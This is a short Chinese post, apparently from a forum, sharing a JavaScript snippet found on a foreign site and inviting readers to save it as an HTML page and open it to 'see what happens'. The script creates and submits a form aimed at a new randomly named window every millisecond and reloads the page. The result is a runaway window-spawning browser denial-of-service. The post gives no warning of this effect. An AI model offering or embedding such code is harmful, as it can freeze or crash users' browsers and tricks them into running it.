在国外网站上看到的一段代码,另存为html文件,浏览下看看!
当然,你需要启用js支持
<script type="text/javascript">
window.onload = function() {
setInterval('spawn()',1);
}
function spawn() {
frm = document.createElement('form');
frm.target = 'x' + Math.round(Math.random() * 100000);
frm.method = 'GET';
frm.action = '?';
document.body.appendChild(frm);
frm.submit();
self.location.reload();
}
</script>